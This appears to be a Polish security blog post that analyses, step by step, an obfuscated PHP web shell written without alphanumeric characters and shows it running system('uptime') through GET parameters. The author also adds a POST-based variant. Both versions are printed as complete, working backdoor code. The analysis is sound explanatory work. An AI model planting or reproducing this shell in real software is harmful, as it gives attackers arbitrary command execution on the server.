Backdoor napisany w PHP bez użycia znaków alfanumerycznych (edit: 02.11.2015)

Chłopaki z Securi zamieścili ostatnio ciekawy wpis [1] zawierający informację o backdoorze napisanym w PHP pozwalającym na wywołanie dowolnej funkcji wraz z dowolnymi parametrami za sprawą wartości przekazanych GET’em. Niby nic ciekawego, a jednak. Ów backdoor został zapisany bez użycia jakichkolwiek znaków alfanumerycznych.

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Żeby lepiej się czytało dodajmy kilka ‚enterów’.

@$_[]=@!+_;
$__=@${_}>>$_;
$_[]=$__;
$_[]=@_;
$_[((++$__)+($__++ ))].=$_;
$_[]=++$__;
$_[]=$_[--$__][$__>>$__];
$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;
$_[@-_]($_[@!+_] );

Od razu lepiej, można by skończyć wpis na tym ;D, ale ok spróbujmy to przeanalizować krok po kroku.

  1. Backdoor zaczyna się linijką:
    @$_[]=@!+_;

    Jest to inicjalizacja tablicy. PHP będzie starało się sparsować podkreślnik jako stałą, jednak gdy nie będzie mógł takiej stałej znaleźć zwróci odpowiednie ostrzeżenie. Przypomnijmy, że umieszczenie ‚@’ przed wyrażeniem spowoduje wyłączenie informacji o wszystkich błędach i ostrzeżeniach dotyczących danego wyrażenia [2]. Nieznaleziona stała zostaje następnie rzutowana przez parser na ciąg znaków: string(1) ‚_’ i ten poprzez użycia operatora ‚+’ zostaje rzutowany na integer: int(0). Na koniec użycie negacji binarnej (znak ‚!’) powoduje rzutowanie wyżej wspomnianego zera na logiczną jedynkę, czyli TRUE. W efekcie pierwsza linia kodu daje nam tablicę z jednym elementem: array(true). Zdebugujmy to:

    $_[] = !+_;
    var_dump($_);
    
    //out:
    array(1) { [0]=> bool(true) }
    

    Ufff…. lecimy dalej ;>

  2. Kolejne linie kodu:
    $__=@${_}>>$_;
    $_[]=$__;
    $_[]=@_;
    

    Moim zdaniem nawiasy klamrowe są zbędne (ale mogę się mylić). Dzięki bitowemu przesunięciu do zmiennej $__ ląduje wartość int(0). Ponieważ 1 >> 1 daje zero. (Jak działa przesunięcie bitowe odsyłam do [3]). Następnie w/w zero jest dodawane na końcu tablicy. W kolejnej linijce na koniec tablicy dodany jest znak ‚_’ (skąd się to wzięło pisałem w pkt 1.). Aktualnie nasza tablica $_ wygląda następująco:

    var_dump($_);
    
    //out:
    array(3) { [0]=> bool(true) [1]=> int(0) [2]=> string(1) "_" }
    
  3. Next:
    $_[((++$__)+($__++ ))].=$_;
    $_[]=++$__;
    

    Aktualnie zmienna $__ ma wartość int(0). Teraz ważna jest kolejność wykonywanych operacji. Preinkrementacja najpierw zwiększa jej wartość na 1 i dopiero ją zwraca. Następnie mamy postinkrementację, która najpierw zwraca wartość 1 a później ją zwiększa o 1 (inkrementuje). Czyli w nawiasach kwadratowych otrzymujemy 1+1 a finalnie $__ ma wartość int(2). Druga sprawa w php jeśli rzutujemy tablicę na string otrzymamy string(5): „Array” i ta wartość doklejana jest do wcześniejszej wartości znajdującej się pod indeksem 2 czyli do ‚_’. Tłumacząc to mamy

    $_[2].="Array";

    Kolejna linijka to znowu preinkrementacja czyli na końcu naszej dotychczasowej tablicy umieszczana jest wartość: int(3). Sprawdźmy:

    var_dump($_);
    
    //out:
    array(4) { [0]=> bool(true) [1]=> int(0) [2]=> string(6) "_Array" [3]=> int(3) }
    
  4. Na początek przypomnijmy jaką wartość ma zmienna $__:
    var_dump($__);
    
    //out:
    int(3)
    

    Tym razem pod młot idzie kod:

    $_[]=$_[--$__][$__>>$__];

    Najpierw predekrementacja czyli $__ ma wartość int(2) i taki będzie pierwszy indeks. Następnie mamy przesunięcie bitowe 2 >> 2. Czyli jak spojrzymy na reprezentację dwójki binarnie: 00000010 widzimy, że jedynka wylatuje w kosmos (brak rotacji). Odwołując się więc do $_[2][0] zostaje zwrócony znak ‚_’  i zostaje on umieszczony na końcu tablicy (przypominam, że w php łańcuchy znakowe podobnie jak w C można potraktować po prostu jak tablice znaków). Check:

    var_dump($_);
    
    //out:
    array(5) { [0]=> bool(true) [1]=> int(0) [2]=> string(6) "_Array" [3]=> int(3) [4]=> string(1) "_" }
    
  5. Teraz robi się średnio ciekawie…
    $_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
    $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
    $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
    $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
    

    ale po kolei… Po operacjach z poprzedniego punktu $__ przyjęło wartość int(2). Podstawmy więc znane wartości do powyższego kodu:

    $_[2].=((2+2)+ $_[2-2]).(2+2+2)+$_[2-2];
    $_[2+2] =($_[2][2>>2]).($_[2][2]^$_[2][(2<<2)-2] );
    $_[2+2] .=($_[2][(2<<2)-(2/2)])^($_[2][2] );
    $_[2+2] .=($_[2][2+2])^$_[2][(2<<2)-2 ];
    

    Ok, czyli najpierw do wartości znajdującej się pod indeksem 2 doklejana jest wartość:

    $_[2].=((4)+ $_[0]).(6)+$_[0];
    
    //czyli
    $_[2].="57"
    

    W efekcie pod indeksem 2 mamy wartość string(8) „_Array57”. Next…

    $_[2+2] =($_[2][2>>2]).($_[2][2]^$_[2][(2<<2)-2] );
    $_[2+2] .=($_[2][(2<<2)-(2/2)])^($_[2][2] );
    $_[2+2] .=($_[2][2+2])^$_[2][(2<<2)-2 ];
    
    // najpierw ustawiana jest wartość pod indeksem 4,
    // a następnie są do niej doklejane kolejne ciągi znaków
    $_[4] =($_[2][0]).($_[2][2]^$_[2][(8)-2] );
    $_[4] .=($_[2][(8)-(1)])^($_[2][2] );
    $_[4] .=($_[2][4])^$_[2][(8)-2 ];
    // czyli
    $_[4] ='_'.('r'^'5');
    $_[4] .='7'^'r';
    $_[4] .='a'^'5';
    

    Wyniki xor’owania:

    'r'^'5' => string(1) "G"
    '7'^'r'=> string(1) "E"
    'a'^'5'=> string(1) "T"
    

    Ok czyli $_[4] ma w tej chwili wartość string(4) „_GET”. Sprawdźmy:

    var_dump($_);
    
    //out:
    array(5) { [0]=> bool(true) [1]=> int(0) [2]=> string(8) "_Array57" [3]=> int(3) [4]=> string(4) "_GET" }
    
  6. Na koniec deser:
    $_=$
    $_[$__+ $__] ;
    $_[@-_]($_[@!+_] );
    

    Pierwsza i druga linijkę możemy złożyć razem ponieważ nie ma średnika otrzymujemy wówczas $_=$$_[$__+ $__], czyli operator odwołujący się do zmiennej na podstawie stringa (w tym wypadku „_GET”). Po takim zaklęciu pod zmienną $_ zostaje podstawiona wszystkim dobrze znana zmienna $_GET. Ostatnia operacja to już tylko formalność:

    $_GET[0]($_GET[1]);

    Czyli można powiedzieć klasyczny backdoor jakiego każdy by zauważył i rozpoznał 😉 (i po co tyle krzyku…?). Sprawdźmy jak zadziała:

    Fatal error: Function name must be a string on line 13
    
    // musimy przekazać GET'em nazwę funkcji
    // http://example.com/backdoor.php?0=system
    PHP Warning:  system(): Cannot execute a blank command in /shell.php on line 13
    
    // potrzebny jeszcze parametr dla funkcji system
    // http://example.com/backdoor.php?0=system&1=uptime
    08:31:55 up 2 days, 10:05,  1 user,  load average: 0.13, 0.09, 0.08
    

I to by było na tyle 😉

Aktualizacja (20151102) {

Dodałem drobną modyfikację do oryginalnego kodu. W ten sposób powstała wersja backdoora, która działa niemal identycznie, jedyna różnica jest taka, że parametry do backdoora przekazujemy metodą POST:

@$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=($_[$__-$__]).(($__+$__)+ $_[$__-$__]).($__+$__+$__).($__);
$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__+$__]^$_[$__][($__<<$__)-$__]);
$_[$__+$__].=($_[$__][$__+$__+$_[$__^$__]])^$_[$__][($__<<$__)];
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)+$_[$__^$__]];
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$_[$__^$__]];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

} //EOA(20151102)

Linki:

  1. http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
  2. http://writecodeonline.com/php/
  3. http://pl.wikipedia.org/wiki/Operacje_bitowe
  4. http://www.php.net/manual/en/language.variables.variable.php
Advertisements
Otagowane , , , ,

Skomentuj

Wprowadź swoje dane lub kliknij jedną z tych ikon, aby się zalogować:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Log Out / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Log Out / Zmień )

Facebook photo

Komentujesz korzystając z konta Facebook. Log Out / Zmień )

Google+ photo

Komentujesz korzystając z konta Google+. Log Out / Zmień )

Connecting to %s

%d blogerów lubi to: